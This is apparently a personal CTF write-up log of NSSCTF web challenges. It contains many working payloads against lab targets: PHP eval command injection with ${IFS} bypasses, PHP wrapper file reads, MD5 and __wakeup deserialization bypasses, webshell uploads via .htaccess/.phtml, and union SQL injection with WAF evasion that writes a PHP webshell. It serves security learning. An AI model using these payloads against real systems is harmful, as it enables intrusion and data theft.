此处主要在NSSCTF平台(NSSCTF | 在线CTF平台)上开展刷题
环境打开如下:
根据题目提示,直接F12看源码
打开环境后,显示源码如下
审查源码可知,要求传入参数url,构造payload如下
http://node1.anna.nssctf.cn:28985/?url=ls
返回如下,无回显
查询eval函数使用方法可知:eval — 把字符串作为PHP代码执行,因此需要在eval函数内构造包含系统函数的PHP语句,据此,构造payload
http://node1.anna.nssctf.cn:28985/?url=system("ls");
测试结果
现在就是找flag了,再次构造payload,利用Linux特性,使用;号并行执行命令开展测试,直至发现疑似flag的文件
http://node1.anna.nssctf.cn:28985/?url=system(%22cd%20..;cd%20..;cd%20..;ls%22);
构造payload查看flllllaaaaaaggggggg
http://node1.anna.nssctf.cn:28985/?url=system(%22cd%20..;cd%20..;cd%20..;cat%20flllllaaaaaaggggggg%22);
flag get
打开环境,显示如下:
根据题目PseudoProtocols,应该是采用伪协议读取hint.php,因此构造payload
http://node2.anna.nssctf.cn:28924/index.php?wllm=php://filter/read=convert.base64-encode/resource=./hint.php
执行回显如下:
出现的字符串丢进base64转码器解码,获得结果:
好家伙,还有一层,继续构造payload
http://node2.anna.nssctf.cn:28924/index.php?wllm=test2222222222222.php
回显如下:
审查代码,发现要求传入参数a,且a通过file_get_contents函数值获取的值为I want flag时获得flag(注:file_get_contents函数 — 将整个文件读入一个字符串,使用语法为:file_get_contents(filename, include_path, context, start, max_length))。
那么,考虑使用PHP伪协议中的data协议传参(参考PHP伪协议_慕晨sekurlsa的博客-CSDN博客),因此构造payload如下:
http://node2.anna.nssctf.cn:28924/test2222222222222.php/?a=data://text/plain;base64,SSB3YW50IGZsYWc=
flag get
打开环境,代码如下:
审计代码,发现题目要求为,使用GET方式传入name参数,使用POST方式传入password参数,且两个参数值的md5值相等。
此题为典型的md5绕过,因此参考MD5绕过_H3rmesk1t的博客-CSDN博客
构造payload如下:
flag get
注,上个方法中,采用传入数组方式解题,因md5()函数在对数组进行编码时,会导致报错返回NULL值,故传参name[]=1和password[]=2使得两者md5值均为NULL。
方法二为采用科学计数法绕过。
PHP存在一种特性为,将科学计数法0e*****作为0计算,因此当两个参数经md5加密后,表现形式为0e开头时,两者即被认为相等,参考MD5 函数的绕过_md5绕过_菜菜zhao的博客-CSDN博客,分别构造payload如下:
执行后同样可以获得结果。
打开环境,显示如下:
尝试上传一句话木马:
虽然知道肯定不会这么简单,但,人嘛
果然啪啪打脸:
好吧,那就上个图片马,上传时使用BP抓包修改为PHP后缀试试:
然后提示文件太大了……
感到很淦,于是把前面写的一句话木马的后缀改成jpg,然后再来一次BP抓包修改试试:
提示上传成功:
那就蚁剑走一波咯:
然后问题来了,这个flag报错(doge.jpg),淦哦。
此处有点蒙圈,不得已看了眼其他WP(参考[SWPUCTF 2021 新生赛]第一波放题(nssctf刷题)_葫芦娃42的博客-CSDN博客),好吧,那就再来一次BP。
终于flag get。
——20230808上午刷题——
打开环境,显示如下:
偷懒一波,按照上一题的套路直接上一句话木马的jpg,然后用BP抓包修改
果然不行……好吧,再想想办法
首先,测试了下不使用BP抓包修改的方法,看样子支持上传.jpg格式的文件
尝试使用.htaccess方法绕过,那么,编辑下.htaccess文件
SetHandler application/x-httpd-php
后缀先改为.jpg,然后上传时用BP抓包修改为.htaccess
然而又提示这个……试了下.user.ini也同样如下,改文件头也不行,好吧,看来是过滤php了,这下咋办嘞……
可耻地搜索了下其他师傅的WP(参考nssctf web 入门(5)_许允er的博客-CSDN博客),好的……
BP抓包,后缀修改为.phtml
上传成功后,蚁剑走一波,连接成功
flag get
打开环境,emmm,试试和其他文件配合? 再看一眼服务器,Apache的,好吧,那就.htaccess走一波
按照上一题试过的方法,成功get到flag
——20230808下午刷题——
打开环境,显示如下:
这果断又是伪协议了吧,构造payload如下
http://node1.anna.nssctf.cn:28714/?file=data://text/plain
回显如下:
再来一波伪协议,payload如下:
http://node1.anna.nssctf.cn:28714/?file=php://filter/read=convert.base64-encode/resource=./flag.php
回显如下:
打开环境,显示如下:
emmm,点进???这个链接,出现源码:
审查代码得知,本题使用unserialize()函数对参数p进行反序列化,使得admin=user,passwd=123456,那么,构造payload试试
http://node1.anna.nssctf.cn:28987/class.php/?p=(O:2{s:4:%22user%22;s:6:%22123456%22};
果然可耻地失败鸟[摊手],还是要认真学习啊……看了眼题目,提示no_wakeup,再搜了搜unserial()函数的用法,emmm,果断百度了下绕过方法(参考https://www.cnblogs.com/zpchcbd/p/12091475.html__wakeup()绕过_v2ish1yan的博客-CSDN博客https://www.cnblogs.com/zpchcbd/p/12091475.html)得知这题利用的漏洞是当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)。
那么,根据文中的方法,写段小程序构造序列化的payload,
运行后,将得到的结果:
http://node2.anna.nssctf.cn:28566/class.php/?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;}
需要注意的时,在HaHaHa后的值原本为2,要达到绕过wakeup的目的,需要把这个值改为比2大的数字,此处改为3,执行后flag get
打开环境,显示如下:
啊这……看看网页源码吧
ez_unserialize
咦?这不得走一波BP
然后……想不出来应该要Disallow啥,就先删除了,Send to Repeater看下……
嗯,啥都莫得[摊手]
好吧……遇事不决问CSDN,搜了搜,发现似乎是要用robots.txt(参考爬虫基础_urllib_urllib 爬虫_顽皮的橙子的博客-CSDN博客)
于是构造payload:
http://node1.anna.nssctf.cn:28475/robots.txt
还真跳出来点东西:
那么,看看这个PHP文件里头有啥:
admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
emmm,又是反序列化呀,那,沿着上一题的思路走起吧。
写一段小程序:
得到结果为
string(62) "O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}"
构造payload
http://node1.anna.nssctf.cn:28475/cl45s.php/?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}
需要注意的是,本题中不需要绕过wakeup(),因此无需更改wllm后的数值,得到flag
打开环境,显示如下:
???一头雾水,本着遇事不决上BP的原则,抓包一波瞅瞅
好像也没啥呀……再一看文字,使用'WLLM' browser……似乎发现了华点,开个脑洞试试?
一顿forward之后居然真的有变化
这个提示够明显了,X-Forwarded-For走起
提示了个新文件secretttt.php,访问一波瞅瞅,于是flag get
打开环境,显示如下:
审查带呀,要求以POST方式传参id=wllmNB,以GET方式传参json,且使得json经过json_decode()函数解码后=wllm,json_decode()函数是对JSON 格式的字符串进行解码,看了眼示例
// Declare a json string
$json = '{"geeks": 7551119}';
// Use json_decode() function to
// decode a string
$obj = json_decode($json);
// Display the value of json object
print $obj->{'geeks'};
?>
输出:
7551119
那么依葫芦画瓢,构造payload如下
flag get
打开环境,显示如下:
审查代码,应该是要求传入参数,使得COOKIE:admin=1,BP抓包,添加COOKIE:admin=1试试
回显如下:
查看新蹦出来的这个php文件,内容如下:
审查代码,要求以GET方式传参url,且不得包含空格,否则显示nonono,先来波ls看下有啥好玩的
http://node2.anna.nssctf.cn:28176/rasalghul.php/?url=ls
回显如下:
利用linux中;可用于并行执行命令特性,并且使用${IFS}代替空格,开启找flag之路,直到如下payload
/rasalghul.php/?url=cd${IFS}..;cd${IFS}..;cd${IFS}..;ls
发现了好玩的东西:
搓搓手,构造payload看下这个flllllaaaaaaggggggg里头是啥好玩的,payload如下:
http://node2.anna.nssctf.cn:28176/rasalghul.php/?url=cd${IFS}..;cd${IFS}..;cd${IFS}..;cat${IFS}flllllaaaaaaggggggg
flag get
打开环境,显示如下:
就一个简单粗暴的一句话木马……有点摸不着头脑,港真,我还尝试把背景图拔下来想看看是不是有其他提示……最后实在没整明白,看了眼WP,直接蚁剑连接完事[白眼]
直接根目录下找到flag
打开环境,显示如下:
标题提示参数为wllm,尝试构造payload
http://node2.anna.nssctf.cn:28539/?wllm=1
显示如下:
好玩的这不就来了,sqlmap走起(我好懒……)
python3 sqlmap.py -u http://node2.anna.nssctf.cn:28539/?wllm=1 --columns
执行后发现flag位置
再来一次
python3 sqlmap.py -u http://node2.anna.nssctf.cn:28539/?wllm=1 -C flag --dump
flag get
另一方法:直接写入一句话木马,然后蚁剑连接(参考NSSCTF | 在线CTF平台)
payload如下:
http://node2.anna.nssctf.cn:28539/?wllm=-1%27%20union%20select%201,2,%27%3C?php%20@eval($_POST[shell])?%3E%27%20into%20outfile%20%27/var/www/html/shell.php%27%23
然后蚁剑连接
找一下数据库的用户名和密码
然后创建连接到数据库
不知道为什么执行不了……那就……这样吧,不过思路是倒是第一次见,学习学习
打开环境,显示如下:
搞个1试试看,发现地址栏有变化
依样画葫芦,sqlmap走起
python3 sqlmap.py -u http://node2.anna.nssctf.cn:28070/index.php?id=1 -C flag --dump
flag get
打开环境,显示如下:
提示有WAF,感觉是个狠角色了呢,来个1测试一下
还是sqlmap试试看
python3 sqlmap.py -u http://node1.anna.nssctf.cn:28569/?wllm=1 --dbs
等了半天sqlmap没扫出啥来,硬着头皮测试,发现似乎WAF规则限制了空格,于是用/**/代替空格,用%23代替#,终于在payload为如下时报错
http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/order/**/by/**/4%23
那么老套路继续,构造payload如下判断回显位置:
http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,2,3/**/%23
构造payload查看库名:
http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,2,database()%23
回显如下:
构造payload打算查看里头都有什么表:
http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,(select/**/group_cancat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test_db',database()%23
然后!居然!
感到很淦,不得已搜索了下WAF绕过姿势,学习学习……
在找到这篇https://dgrt.cn/a/2027509.html?action=onClick的时候,隐约想起好像有个=用like代替绕过的姿势,那么……试试?.
http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'),database()%23
终于!我终于知道sqlmap为啥扫不出东西来了,表名用LTLT_flag,这谁遭得住啊
http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform
ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
回显:
接着,查flag列里的内容
http://node1.anna.nssctf.cn:28461/?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_
flag%23
回显了个这???喂,很不友好啊喂!
实在遭不住了,再去找解决办法吧……根据这篇关于SQL报错注入数据输出显示不完全的问题_文大。的博客-CSDN博客,提示使用MID函数提取字符,那么,构造payload
http://node1.anna.nssctf.cn:28461/?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes
t_db.LTLT_flag%23
http://node1.anna.nssctf.cn:28461/?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/tes
t_db.LTLT_flag%23
这题真的……别骂了,怪我学艺不精[叹气]
打开环境,显示如下:
好家伙,直接替换了是吧,不讲武德了嗷,脑子转不动了……今天到此为止,202308092253
——20230809——
昨天最后那题暂且放着……开启其他题目先碰碰运气
打开环境我人就麻了……
','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
这个blacklist是认真的吗???忍气吞声审查代码,其中的正则表达式说明要过滤掉一堆符号和字符……啊这……
没办法,姿势水平不够厚的结果就是只好乖乖开启搜索模式,然后发现这篇无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本) | 航行学园
emmm……好家伙还看不太懂,艰难啊艰难……
暂且放着……脑子转不过来,下一题……
打开环境,显示如下:
|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
可以的可以的,又过滤一堆字符……
放着放着,后面再来……